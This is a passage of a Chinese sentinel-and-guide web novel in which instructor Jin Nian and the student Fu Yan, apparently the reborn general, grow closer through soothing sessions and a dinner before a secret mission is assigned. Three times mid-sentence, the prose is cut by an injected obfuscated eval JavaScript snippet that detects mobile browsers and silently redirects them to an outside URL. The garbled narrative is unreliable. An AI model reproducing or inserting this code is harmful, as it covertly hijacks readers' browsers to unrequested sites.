傅言没有丝毫的紧张,反而轻轻摩挲着人的手背皮肤,“我只是爱慕上将,喜欢上将,连梦里都是上将。”一双多情的眼睛狂热又清澈,“教官,你这是投怀送抱吗?”
靳年被雷一个激灵,猛地松开手,将人从病床上拉起,揪着人的领口,拎起来,到门口,用力一推。
“砰——”
傅言转身险些被碰了鼻子,那高挺的鼻梁骨差点就要命丧门板了。
该死的S级体能!
傅言揉了揉鼻头,轻笑一声,指尖贴着门板,继而收紧握成拳头。
在门口喊道,“教官,你给我个机会吧……我肯定……能做的很好的。”
拥有超常五感的人,将对方的话听个一清二楚,靳年猛地拉起被子,将自己整个人蒙了进去。
靳年的伤已经好了大半,就算没好,他也在医院也待不下去,到处都是消毒水的味道,对他敏锐的嗅觉就是一种折磨。
很快就重新回到学校,尽好他总教官的职责,但在这之前,他见了文森特一次。
“笃笃笃——”
“请进。”
“元帅阁下,这是这次任务带回来的‘坠落星空’。”靳年将一个木制的小盒子放在文森特面前的办公桌上。
文森特拿起盒子打开,流光溢彩的“坠落星空”似乎看上去只是一颗好看的石头,并不能看出传说中的功效。
“啪嗒”一声木盒子扣上,文森特手指在木盒子上摩挲,欣慰地点头,“辛苦你了。”
“对了,你和那个小同学怎么样了?”文森特话音一转,眼睛眯了眯,似乎藏着什么,略带怀念地说道,“初时我也吓了一跳,他和长官长得可真像啊……”
靳年还是那副不为所动的样子,文森特准备好的话差点憋回肚子,“你没见过长官年轻的样子,这位同学可真是一个模子刻出来,要不是知道长官就你一个哨兵,我都要怀疑他是长官的私生子了。”
文森特调侃。
“您的意思?”
靳年皱眉,所以他最讨厌打官腔了,绕来绕去都不到重点。
“你和他接触下来,有没有觉得有什么奇怪的地方?”
靳年猛地对上文森特的眸子,里面似乎压着风暴,上位者的威严压得靳年很不舒服。这就是黑暗哨兵的一个小缺点,太有压迫感的东西,他们一律视为挑衅,会激发他们好战的本能。
但这是靳年的长官,也是多年来对他颇有照顾的“傅言”的副官,于是他压下不爽,思索一阵,回道,“没有。”
靳年如此承诺道,“但我会好好调查。”
“嗯。”文森特轻轻扣动桌面,表情也缓和下来,指着桌上的盒子,话题又是一转,仿佛刚才小小的打岔并不存在。
“如果这个东西真的有能够治愈黑暗哨兵的可能性,有考虑不做黑暗哨兵吗?”
靳年想也没想,诚实回答,“不知道。”
这场谈话,最终有点不欢而散的意思,但只要忽视文森特阴沉的脸色,靳年觉得还不错。
晚些回到学校之后,最先迎接他的竟然是森森。
虽然和傅言的关系难以言喻,但靳年却是真的喜欢森森。然而到底这是别人的量子兽,看着游弋在他脚边小蛇,没有伸手触碰。
或许哪天养条蛇宠也不错。靳年如此想着,尽力绕开森森。
谁知道森森猛地一窜,攀上他的脚踝。
靳年不免抽了抽嘴角。
不得已蹲下身将森森扒拉开,指节在萌乎乎的蛇脑袋上敲了敲,“别乱跑,回你主人身边去。”
“嘶……”
森森难过,耷拉着脑袋,明明感知到了老婆的气息,为什么不愿意出来陪它玩儿。
通体带着花纹的绿色小蛇,委屈巴巴地缩着脑袋,靳年心都要化了,像是有把锤子猛敲他的良心。
最终还是没忍住在蛇脑袋和身体上撸了一把,冰冰凉,触感如同玉石一般。
森森被撸麻了,瘫成蛇条,蛇瞳迷离,蛇信也歪了。
有老婆的味道,嘿嘿。
撸了一会儿,也不知道是不是因为心情好了,就连精神海的不适感都缓解了很多,通体舒畅。
指尖不小心摸到一个硬硬的东西,靳年还以为是沾染了什么东西,手指抠了抠,森森蛇躯一震,整个蛇猛地蜷缩起来,尾巴尖小心地盖住刚才靳年抠弄的地方。
一双蛇瞳水灵灵地看着他。
“额……”
靳年后知后觉,这是精神体啊!能粘什么脏东西啊!那分明是……
靳年状似痛苦地捂住脸,嘤咛一声,大掌在脸上搓了搓,捞起地上的森森,戳了戳蛇脑袋,“抱歉。”
森森似乎害羞地将身体盘在靳年的手腕。
“靳……教官?”邹明看到来人,猛地一下从沙发上弹起来,慌乱地整理沙发上乱七八糟的小零食,一个好好的客厅愣是整地像猪窝。
但今天毕竟是休息日,正是大好的年纪,整日训练也不是个事儿,总要劳逸结合。
没道理还在休息的时候要求他们像训练的时候那样整理内务。
没道理。
微不可查地皱眉,轻声嗯了一声。
“我找傅言。”
邹明慌乱地手脚都不知道怎么摆,匆匆兜住自己的零食还有游戏机,指了指傅言的房间,“他刚从外面回来,应该在房间里。”
靳年点头,指了指桌子,“这是……”
“我立马收拾。”邹明胡乱捞起自己的东西,就像子弹弹射回自己的房间。但还是没忍住把耳朵贴近门板,想听听有什么动静儿。
然而很可惜,军校用的建筑材料隔音质量杠杠的,更是考虑到大部分哨兵的需求,门一关,就和密室没什么两样,邹明一丝风吹早动都听不见。
“笃笃笃——”靳年敲响傅言的宿舍门,本来打算把森森送到就回。
“砰——”
“哼……”
还没来得及反应,门内伸出的一只手将靳年扯了进去,猛地将他压/在门板上,靳年后背磕在门框上,生疼。
“干什么?”反应过来的靳年推了推人压过来的身躯,触手一片冰凉。
TMD!竟然是裸的!
这下推人的手更加用力了,扭过头,目光游弋,“你在屋里干什么?”
傅言一只手扯着人的手腕,另一只手揽着人的腰,闻言眼神暗了暗,挑眉,勾了勾嘴角,笑得邪魅又张扬,“教官恶人先告状?”
“教官对我的蛇做了什么?”傅言凑近人的耳朵,在人微红
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579365|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都耳垂上吹气,“嘴上说着不喜欢,但背地里对我的蛇蛇干坏事?”
被压制的感觉不好受,更何况靳年还是个易燃易爆炸的黑暗哨兵,靳年反身压制,眼神阴冷,“袭击教官,你胆子很大。”
傅言仍旧不怕死地搂着人的腰,用力摩挲两下,挑眉勾唇,“我的胆子还可以更大,教官要不要试试?”
靳年被对方不要脸的程度震惊到,几乎失了言语,将森森从手腕上拽下来,摔在傅言身上,含着怒气,“滚。”
傅言轻笑,收回量子兽,老神在在,“教官,这里是我的宿舍。”
闻言,靳年嘴角抽了抽,暗忖,就不该来,他也真是脑子有病。
拧了拧眉心,抬腿就要走,连门把手都没摸到,脑子里针扎般的疼痛就席卷而来。
“唔……”靳年无力地捂着脑袋,眼前发晕,但还是固执地去拧门把手。
傅言第一时间就察觉到不对,但奈何人倔,见对方额角都疼出了细汗,叹了一口气,捏住人的手腕,带到自己的床上。
靳年疯狂挣扎,想要挣脱人的手腕,傅言则是固执的要去握人的手心。
两个人有来有回,像是打了一架,床架摇晃得发出嘎吱嘎吱的声音。
最后傅言出其不意,捧着人的后脑勺,猛地贴住人的额头。
额头对额头,靳年睁大了眼睛。
你不讲武德。
傅言忍俊不禁。
精神力侵入,霸道地精神力丝线很快将人缠绕。
简单疏导之后,那股疼痛很快就匿藏起来,靳年扭捏地不去看人的眼睛,紧了紧拳头。
梗着脖子,“谢谢。”
“不客气,教官。”傅言勾了勾唇,显然心情不错。
对方得意的样子有些刺眼,靳年眯了眯眼睛,上下打量起对方赤裸的上半身。
并不是特别夸张的肌理,但也起伏有致,虽然瘦削,却很有力量感,白得透光。
被这么赤裸裸盯着,傅言丝毫没有被冒犯的感觉,甚至还自豪地挺了挺胸,他对自己的身材还是挺有自知之明的,虽然确实不如靳年S级哨兵那样结实健美,但也不差。
靳年轻笑,做了一个决定,“那以后你就帮我疏导精神海吧,不会少了你报酬。”
靳年又不是傻的,简单的精神海疏导而已,又不是精神标记,也不违法,不就相当于医疗兵吗?战场上向导数量比哨兵少太多,很多医疗救援向导一个人要给好几个没有向导的哨兵梳理精神海,就像是病了看医生,精神海污染就看向导。
虽然没办法像结合的向哨那样进行临时标记或者深度标记,但对缓解神经痛还是有一定帮助的。
以前是没有向导能够进入靳年的精神海,所以都强忍着,现在有人可以给他梳理精神海,干嘛还要忍?
靳年的话一出口,傅言脸上得意的表情瞬间僵住,眼睛眨巴两下。
怎么有种被白嫖的感觉?虽然说了会给报酬,但怎么感觉更奇怪了?
傅言脸上表情变换,蹙着眉头,抬头对上抱着胳膊的人的眼睛,终是叹了一口气,勾了勾唇,“我自然是什么都愿意帮教官做的。”
“……至于报酬……我得好好想想,毕竟是卖身得来的,得要对我有价值不是……”
靳年皱了皱眉,什么叫卖身?他是这个意思吗?
“报酬随你开。”
“那教官可不要后悔。”
19. 那我走?
达成一致,之后靳年找傅言疏导精神海的次数很频繁。
普通哨兵疏导一次可能管上一两个月,甚至只要不上战场不动用精神力,半年都不是问题。
但靳年并不,简单的疏导精神海对他的作用微乎其微,只是将这种疼痛暂时屏蔽,但并不意味着不存在,如同饮鸩止渴般。
刚下了训练,邹明正和傅言一起去食堂,刚过了转角,隔的老远就看见一身黑色作训服的男人,银发红瞳,英俊凌厉。
邹明默默退了一步,和傅言拉开一点距离,在人肩膀上拍了拍,脸上的表情颇为同情,“傅哥,你确定教官真的和你没仇吗?怎么总找你加训?”
傅言显然也看见了,眉头一跳,“没仇。”转头看向一脸好奇的邹明,在人脑袋上一敲,“非就得有仇啊?为什么不能是因为他看重我,器重我,愿意栽培我呢?”
邹明咧了咧嘴,龇牙,“行叭,你说的算。那我就不等你了,先走了哈。”
说着快走两步跑开了。
傅言这才踱步走到靳年面前,面上含笑地看向他,“教官,你找我这么频繁。我室友都误会我们关系了。你这样,还让我怎么找别的哨兵啊?”
靳年闻言竟真的思考这个问题,眉头紧锁,想了半天,“那我走?”
“诶?!”傅言一把拉住靳年的手腕,有些生气,咬牙切齿,“教官这是打算找谁去?”
靳年摸着下巴,抬头道,“我考虑考虑。回头让叶治先列个表单出来。”
傅言突兀笑了一下,“哈?教官这是选妃呢还是挑向导啊?”
靳年不解地看着他,“难道我现在直接随便拉一个向导?”
傅言扯着人都手腕,眼睛眯了眯,“我这不是拉着您呢吗?走吧,找个地方。”
靳年点头,“嗯,上我那儿。”
傅言的宿舍毕竟是两个人住,去的次数太频繁也不好。
靳年的宿舍在新生宿舍后面,离的近,但位置相对比较偏,安静人少,一般很少有学生往这边走。
“饿了吗?”考虑到人本来打算去吃饭的,被自己截胡,靳年罕见地情商上线一回。
还不等人回答,就从冰箱里拿出两支营养液,“你要什么味道的?”
傅言嘴角抽了抽,问道,“有什么味道的?”
“原味。”
靳年甩给对方一支,自己打开一支猛地灌进嘴里。
傅言看对方熟练的动作,也能猜出是常年和营养液为伴的。
明明以前不爱喝的,说营养液发苦,喝起来就和中药似的。
而对方最喜欢吃甜,怎么受得了这样的苦味。
傅言紧紧捏了捏营养液,半是调侃道,“教官就请我吃这个?”
靳年皱眉,“那你想干什么?”
“当然是请我吃顿好的啊。”傅言理所当然道,“我这些天没有功劳也有苦劳吧?”
靳年将空了的管子扔进垃圾桶,三分,
“走吧,跟上。”
“欸。”傅言拉住靳年出门的手,无奈地按了按额头,“就这么出去?教官不换身衣服?”
傅言指了指人身上的黑色作训服,这样出去的话太显眼了。作训服讲究一个贴身干练,将人紧紧包裹着,好身材显露无疑,出去指定惹人尖叫,但确实不太日常。
最主要的,傅言皱眉,一个人的胸肌怎么可以练得如此……
嗯……色/情?
事多。
但靳年还是回自己房间换了衣服。
虽然来过很多次,但是傅言还没有好好打量过靳年的宿舍,客厅的装修很简洁,很多都是学校配置的东西,属于靳年的个人物品很少,就好像是把这个地方当作临时栖息地,没有归属感。
傅言也大概明白,对方这次来蔷薇军校定然是不会待太久,新生军训一旦结束,说不定就会回到星际战场。有什么办法可以跟着靳年去呢?
左思右想,他现在说到底还只是一个新生,除非是和靳年进行标记,跟着哨兵随行,不然还真就没什么可能。当然他也可以立军功,破格进入军队,但那样太惹眼了,必然会进文森特和议会的视线。
傅言最不喜欢就是和议会打太极,加上前世自己与议会相处确实不太好,他十分怀疑自己的死并不是意外,更像是蓄谋已久的刻意为之,只是不知道议会参与多少,自己的这个副官又参与了多少。
即使不愿意怀疑文森特,但确实在他死后,文森特成了名副其实的既得利益者,这也是他不得不警惕对方的理由。
很快,靳年就从卧室里出来,就换了一件外套。
他走到门口,傅言还在发呆,于是上前拍了拍人的胳膊,说道,“走吧。”
坐上靳年悬浮车的副驾驶,对于傅言来说是一种新奇的感觉,毕竟以前都是靳年坐这个位置的。
靳年的驾驶风格倒是四平八稳的,压根看不出来他那莽撞张扬一言不合就是干的性子。
“想吃什么?”
吃饭也是临时之举,傅言一时间还真没想过要吃什么,“中央大街139号。”
听到这个熟悉的地点,靳年放在方向盘的手一顿,神色如常,“你是说那家自助中餐馆?已经拆了,现在是陆氏的产业,卖机甲。”
傅言一滞,说出这个地址的时候完全是本能,条件反射。是以前他和靳年经常去的地方之一,他的厨艺不算太好,甜品特意学过,做的还行,但甜品不能当饭吃。
如果是自己一个人,大多数时间靠喝营养液就行了,想想现在的靳年,倒是和他那时候很像。
然而既然已经结婚,不是他一个人了,再说他的小哨兵那个时候还在长身体,他总不能让靳年也跟着他喝营养液吧?
这家自助餐厅离他们的家不远,便宜实惠,好吃还量大,对于还在发育的青年来说,再合适不过,于是傅言和靳年就成了那里的常客。
只是没想到五年过去,竟然就拆了。
“那……”傅言之后又说了几个地方,无一例外,要么已经是换了门面,要么就是已经被拆除。
多多少少有些沮丧,傅言抱着胳膊,眉头紧锁,嘴角被他抿成一条直线,“那听教官的吧。”
靳年扭头看着对方精致的侧脸,心跳猛地快了两拍,握着方向盘的手也同时用力收紧。
这是巧合吗?世界上会有这种巧合吗?还是说对方真的是什么有心人派过来的卧底?
靳年的想法傅言不得而知,现在他正沉浸在一种烦躁当中。原来短短的五年真的可以改变很多东西,真正应了那句物是人非。
靳年将悬浮车停靠好,带着傅言进了一家中餐馆,两个人找地方坐下,就立马有服务员递上菜单。
“两位先生,想要吃点什么?”
靳年将递给他的菜单递给傅言,“你来看吧。”
傅言在电子屏上面,点了几下,递还给服务员,“好了。”
“好的,先生稍等。”
一直到上菜,傅言的气压都很低
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579366|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只要他不说话,两个人之间就只有沉默。靳年本身就是沉默寡言的性子,以前是个酷哥,现在更甚,一个大酷哥。
很快菜就上齐了,服务员还送了一个小蛋糕上来,“鉴于先生们是本店今日第100对客人,这是我们店的赠品,你们的菜齐了,请慢用。”
靳年抿了两口水,一看桌上的菜竟然都是他爱吃的,心跳得更快了,甚至快到有一种害怕和恐惧。
傅言接过小蛋糕,贴心地递给靳年,勾了勾唇角,“教官你吃吧,我不爱吃甜食。”
“嗯。”
傅言不紧不慢夹起菜,第一口,眼睛就是一亮。
靳年见状,解释道,“是那家自助餐厅的老板,做菜的师傅也没有换。”
接着又状似无意地问道,“你以前去过那家店?”
傅言动作一顿,不过片刻,轻轻嗯了一声,“嗯。很久之前,去过几次。”
他不多说,靳年也不好多问,小蛋糕是小狗的形状,狗头被他整个切了下来,恶狠狠放进嘴里。
喝过营养液,靳年并不是很饿,所以有大把的时间观察对方。越是看越是心惊,傅言握筷子的姿势,还有吃饭的习惯,吃到喜欢的东西睫毛会颤动,眼睛会亮,不喜欢的,会轻轻皱眉,咀嚼的动作也会变慢,好似在细细品味,就像是生怕被人知道他不喜欢似的。
记忆中的傅言真的很奇怪,越是不喜欢吃的东西会把他吃的精光,反而是喜欢吃的,会剩下一些。
虽然那个人一直声称自己什么都吃,对吃的不怎么在意,但这些小习惯,靳年早就摸得一清二楚,从来不拆穿。
压下心头的震动,看着还在进食的人,靳年眼神暗了暗,抿了口水,意味不明地说道,“你真的和他很像。”
“谁?”傅言猛地抬头,对上靳年的视线,意识到什么,喉头滑动,挑了挑眉,“怎么?教官这是打算把我当替身了?”
不知道为什么,被这么看着,傅言竟然觉得背后发凉,有些心虚地咽了咽口水,眼神闪躲,迟疑地问道,“那……傅言上将在你眼里是个什么样的人?”
问完话倒是自己先紧张起来,捏紧了手里的筷子。
靳年扫了扫傅言,垂下眸子,“老男人。”
“啪——”
傅言手里的筷子瞬间断裂,他呵呵尬笑两声,叫来服务员换了新的筷子。
“哈哈,教官您真幽默。”傅言表情僵硬,看着桌上一桌子的菜开始后悔,早知道多点一点靳年不爱吃的菜了。
“那……您喜欢他吗?哈哈……我没有别的意思……我也是听说您之所以成为黑暗哨兵是因为不愿意去除傅言上将的标记……”
“不知道……”
话没说完,就被三个字打断,傅言的声音戛然而止。
靳年说的是实话,初见时傅言对他来说只是一个有点奇怪,但是温柔的男人,是他离开陆家的跳板。
后来也想过要是和对方过一辈子也挺好的,进了军校上了战场,说不定以后还能并肩作战,也就不用傅言战场家里两头跑。
但是……
这些在对方机甲在空中炸开烟花的那一天,一切都变得毫无意义。
说不上来,傅言只是觉得现在坐在自己对面的男人很空洞,像是掉进了什么漩涡里。
害怕对方真的掉下去,掉到自己找不到的地方,傅言心中一紧,一把扯住靳年的手腕,拧着眉,眼神是出奇的温柔,有些迫切地说道,“那教官选我吧,我年轻……”
20. 桃子布丁
“你让我想想。”
虽然是傅言自己提出来的,但靳年没有像之前那样果断拒绝,傅言的心情还是微妙,这种微妙一直持续到回到学校后给靳年做了一次疏导。
做完就把他赶了回去,傅言体会到了一种拔x无情的错觉。
第二天训练的时候傅言像是开了挂,和他自由训练的同学简直苦不堪言。
“我说你这也太狠了吧?”邹明揉着肩膀小声抱怨,一碰就疼,估计是青了。
他一屁股坐过去,到傅言的旁边,“你这是怎么了?我可听说你昨晚和教官约会去了啊。”
傅言手肘顶开人的胸膛,拉开了距离,右手整理着左手上的腕带,皱眉,“你怎么知道的?”
“当然是有人亲眼看见的,星网上都在传,说靳上将找了个18岁替身,不仅和死去的前夫长得像,名字更是一模一样。”
“什么‘霸道教官爱上我’,‘冷酷上将的替身小娇妻’。”邹明说着突然阴恻恻笑了,咂摸两下,“你说这玩意儿谁想的呢?还是网络上好玩儿。”
“哪儿呢?”傅言解开绑在手腕上的绷带问道。
“啊?”
“我说帖子在哪儿?”
邹明反应过来,四处张望,偷偷摸摸拿出手环,点了两下,“发你了。”
然后又偷偷摸摸收起来。
严格来说,训练的时候不能带通讯设备,就是害怕这群新生不专注,不好好训练。
邹明这属于顶风作案,自然是千小心,万小心。
“你和我说实话,你和咱总教官到底是什么关系?”邹明眼里闪烁着八卦的光芒,“我看你们最近来往挺频繁,星网上说的该不会是真的吧?”
邹明见傅言脸上表情似笑非笑,惊的嘴都张大了,摇晃着傅言的胳膊,“啊?你别光顾着笑,你倒是说句话呀。”
傅言苦笑摇头,“我倒是希望是真的。”
“那就好那就好,不是真的……”邹明拍着胸脯松了一口气,突然反应过来对方说的是什么意思,一口气又提了起来,“你……所以你……你和……”
邹明双手挥动,手足无措,像个螃蟹,一句完整话说不出来。
邹明对上傅言认真的目光,咽了咽口水,“所以……是你喜欢总教官?”
傅言轻轻嗯了一声,云淡风轻,似乎不觉得这是什么大事。
“咕噜——”邹明吞咽口水,一时间惊悚。
不是吧?谁?靳年?傅言?啊?这……
邹明冲着傅言竖了个大拇指,“要不说你是哥呢?果然牛b!”
邹明接受良好,刚夸完人就又开始替人担忧,“不过,总教官一直放不下他死去的前夫,还因此变成了黑暗哨兵,你这是任重而道远啊。”
邹明摸着下巴分析道,“话又说回来,你吧确实和傅言上将长的挺像的,也算是一种优势……”
哼。优势?
傅言冷哼,他现在都不知道这算不算优势了?总有种头顶发绿光的感觉。
靳年不去除标记,成为黑暗哨兵,他心疼。
要是真的答应他去除标记,考虑和他在一起,他又觉得不爽。
人啊,果然是种复杂的生物。
就是……话又说回来,靳年真的一点都不喜欢他吗?
啊?在一起三年真心都喂了狗?
傅言轻哼,眼里却流转着柔和的光,“小白眼儿狼。”
可是到底也才3年,他们这一别却是五年的光阴。
对傅言来说,不过是睁眼闭眼的一瞬。磕对靳年来说,却是实实在在的时间。
早早放下,也好。
——
靳年心里可没有那么纠结,一切不过想验证一个猜想。
这个猜想太过于惊世骇俗,以至于他不敢相信,甚至对答案,有种近乡情怯的感觉。
“元帅。”靳年接通了文森特的视讯。
照样先是温和的寒暄,像是经久不衰的套路模板。
“怎么样?听说你最近和小朋友接触很多啊?”
靳年心底闪过了被冒犯的感觉,这似乎是他的私事,但是文森特对他的私事了如指掌。
以前或许没有什么,只当是文森特的亲民,或者是受了傅言的嘱咐,对他关照有加。
可现在,有点别扭。特别是他心中有了如此猜测之后,更加别扭。
总觉得文森特对他的关心太过了。自己似乎在对方面前成了一个透明人。
但靳年还是压下这些情绪,抬眸对着文森特回道,“我觉得应该没有什么不妥,他是向导,我是哨兵,而且我们的匹配度很高。”
如果他的猜测是真的,为什么傅言不去找他以前的副官呢?就算不信任他,难道连以前的战友,并肩的副官文森特也不信任吗?
靳年眼神沉了沉,文森特的表情依旧是温和可亲的,“接触下来,你觉得他有没有什么问题?”
靳年摇头,“暂时没有发现。”
“嗯……你自己注意就行。”文森特点头,“如果没有什么问题的话,我还是希望你可以去除标记。”
“毕竟成为一名黑暗哨兵并不是上上之策。”
靳年抿着唇,沉默不语,良久才道,“这是我的选择。”
文森特见他依旧固执,摆了摆手,“算了,说回正事。”
文森特目光如炬,“你带回来的‘坠落星空’是假的。”
靳年凝重地沉了沉眉毛,“这确实是我拿到的‘坠落星空’。”
“并不是怀疑你的意思。”文森特摇头,“‘坠落星空’是在陆氏失踪的,我们从星盗手里拿回来的就是假的。真的被陆明哲放在一个隐秘的位置,但在拍卖会那天,还是失踪了。”
“也就是说,抢劫拍卖会的星盗只是烟雾弹。”靳年眉头紧锁,思索道,“他们早就知道那不是真的,但依旧派人去抢,目的只是让我们把视线放在假的身上。”
文森特凝重地点头,“是这样没错。”
“陆氏有内鬼?”靳年皱眉,不然怎么解释陆明哲藏起来的东西也会被找到?
“这个就不是我们应该关心的了,这次主要是要把真的找回来。”文森特顿了顿,沉着严肃道,“先不说‘坠落星空’本身的价值,陆氏每年缴纳的税款,掌握着联邦的经济命脉,还有如今正在和联邦最高研究所进行的合作。”
文森特敲了敲桌面 ,沉声道,“这件事,我们不得不重视。”
靳年正襟道,“是。”
“这次的任务就交给你了。”
“明白。”
“我看不如带着你那个小朋友一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579367|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起去,我看他各方面素质不错,最主要和你匹配度高,能给你进行疏导。”
文森特提及傅言。
靳年表情冷硬,紧蹙的眉毛在眉心形成一道沟壑,显然并不赞同这个提议。
“我能够独立完成任务,他还只是个学生,没有经过专业训练。如果您实在不放心,可以让叶治和我一起去。”
文森特也同样强硬,“这次的任务需要秘密进行,叶治和你都是哨兵,失控了怎么办?谁来承担?你们能进行疏导吗?”
靳年笔直地站着,下颌线绷得死紧,嘴唇被他抿成了一条直线,无声地对抗着。
最后文森特拍板,不容一丝拒绝,“这件事就这样,你不愿意的话,我亲自去和他说。”
“是,长官。”
视讯关闭,靳年的心情并不好,可谓是糟糕透了。
身体后仰倒在一旁的沙发,额角抽痛,他不适地揉了揉额头,手掌遮住眼睛。
一双有力笔直的长腿随意地支着,整个人的郁气几乎化成了实质。
这怨气让叶治敲门进来的时候被吓了一跳,生怕靳年一言不合就找他切磋。
这样的事儿以前也不少,只要靳年心情不好,总要找几个人切磋的,底下人没少怨声载道,这哪里是切磋嘛?分明就是单方面一个人的群殴。
他们是真打不过啊。
“长官,傅言同学想见您。”叶治小心翼翼地开口。
靳年这时候正烦着呢,对于让他心烦的源头,自然没什么好脸色,揉了揉额角,厉声道,“不见。”
啊……
这是闹了矛盾了?
但叶治哪里敢问,也不敢多说什么,“是,长官。”
门大开着,声音清晰地传进傅言耳朵里,想也没想就出现在门口,撑着门框,“教官就这么不想见我?难道之前说的要考虑的话其实是骗我的?”
叶治扭头就看见傅言楚楚可怜的样子,这小伙子长得真的没话说,眉目风流,五官俊逸,称得上惊艳两个字,这会儿子仿佛受了天大的委屈般,是个人都会心软。
叶治的目光在两人之间来回,这分明就是有什么吧?
靳年摆手,“行了,你出去吧。”
叶治敛眉躬身道,“是,长官。”
“你怎么来了?”抬头看着走进来的傅言,靳年语气不太好。
傅言挑眉,将手里的东西放在桌上,“我不能来?”
“不是这个意思。”
“那是什么意思?”上前凑近,傅言手撑着靳年旁边的沙发背上,两人距离拉近,几乎能看清彼此脸上的绒毛,“教官考虑得怎么样了?”
吐出的呼吸喷在靳年的脸上,轻易就看到傅言眼中的戏谑,靳年觉得自己耳朵有些烫,伸手推了推人的胸膛,拳头抵着唇轻咳两声,转移话题,“带的什么东西?”
没错过对方微红的耳朵,傅言心情有些微妙,脸上沉了沉,语气也冷了下来,“自己做的桃子布丁。”
靳年没注意到对方的千回百转,只以为终于正经了些,打开盒子,桃子的清香扑鼻而来,带着一丝丝的甜。
靳年眼睛闪了闪,“你还会做这个呢?”
“很意外?”傅言挑眉。
靳年摇头,“有一点。”
傅言也会做。
21. 靳年失踪
靳年尝过几口蛋糕,便放在一边,去观察傅言的表情。
终于后知后觉发现对方拧着眉毛,好像有点不高兴。
但却不知道这种不高兴的由来。
难道是因为他迟迟没有给答案?
于是放下小勺子,正襟危坐,安慰道,“再给我段时间,总要我好好想想不是吗?”
傅言意识到自己没控制好表情,于是僵硬地勾了勾嘴角,“那我等教官的好消息。”
想到文森特的的话,靳年想了想,最终还是没说什么。
傅言凑近了些,拉住靳年的手腕,靳年的手指修长,指甲圆润,手背上的青筋凸起,上面还有一些细小的疤痕,是一双很有力量感的手。
看着看着,便鬼使神差,十指相扣。
靳年挣了挣,最终还是由他去了。腰背挺直,目不斜视,不看傅言也不去看他们相握的手。
但是掌心源源不断的热度让他耳朵发烫。
对方的表现傅言都看在眼里,眼睛里闪过笑意,轻快道,“教官,开始疏导吧?”
靳年手握拳头抵住唇轻轻“嗯”了一声。
傅言的精神力进入靳年的精神海,如同冬日里的烛火一般,散发着暖意。
让靳年紧绷的身体在这种暖洋洋的感受里渐渐放松下来,傅言另一只手悄悄靠在沙发的椅背上面。
一点点。
一寸寸。
看着靠在自己手臂上的人,傅言轻轻勾了勾嘴角。
森森一进入靳年的在精神海,更是撒了欢,最近见到老婆的次数很多,但每次见都很兴奋。
身躯紧紧缠着大黑豹,尾巴尖勾着黑豹溜光水滑的毛绒尾巴。
这几天下来,黑豹也感受到了熟悉的气息,懒洋洋地趴着,任它去了,只是依旧没什么精神的样子。
森森缠住对方之后也只是安静下来,圈成一个圆,脑袋搭在黑豹的头顶,像是守护着自己的珍宝。
傅言深知这几天的疏导对靳年来说是杯水车薪。
靳年现在已经召唤不出小黑了,甚至无法感知到小黑的存在,精神海崩溃可能要不了多久。
最简单粗暴快速能够挽回对方精神海崩溃的方式就是结合标记。
但……
傅言皱眉,现在怎么样才能让靳年同意他的结合标记呢?
这个人那么固执。
疏导结束,靳年才反应过来自己已经靠在了人的怀里,连忙坐直身体,一会儿理理袖子,一会儿整理扣子。
傅言抿着笑意,不去戳穿对方欲盖弥彰的样子。
“教官,不如我们结合吧?”傅言只是抱着试一试的心态,问出了这一句,并不期望对方给他肯定的答复。
令他惊愕的是,靳年并没有立刻拒绝。
靳年理袖子的手,闻言一顿,眼神闪了闪,似乎思考许久,又像是一瞬间的决定,他说,“我想想。”
傅言瞳孔微缩,不可置信睁大了眼睛,现在,轮到他紧张了。手指攥成了拳头,藏在袖子底下,“要想多久?”
靳年转头,傅言对上他的眼睛,不太能看懂那里面的情绪,或许其实什么都没有。
那一双红色的瞳孔,似乎在滴血一般,傅言心下一痛,指尖都被他抠破了。
突然没由来得慌张。
靳年轻轻笑了笑,“我最近有点忙,你好好训练,等我忙完这一阵子,回来再说。”
傅言张了张嘴,有很多想问的,最后也只能吐出一个字,“好。”
——
“傅言。”
训练结束,傅言被叶治叫住。
“怎么了?叶教官?”但从叶治严肃的表情来看,傅言有种不好的预感,也跟着沉下脸来。
叶治并没多说什么,而是示意人跟上,“跟我来。”
进了办公室,硕大的虚拟屏幕上赫然是文森特的身影。
高高在上,虽然脸上一派和气但却不失威严。
五年,不仅仅是靳年的变化,文森特也不是傅言熟悉的那个副官了。
或许,他可能从未了解过自己的这个副官。
“阁下。”傅言上前两步,恭敬道,“您找我?”
“我也不想找你。”文森特的脸色凝重,语气重了几分,“可有人把我的话当耳旁风!”
叶治在一旁听着,忍不住替自己长官辩解两句,“元帅阁下,长官也只是担心学生的安危。”
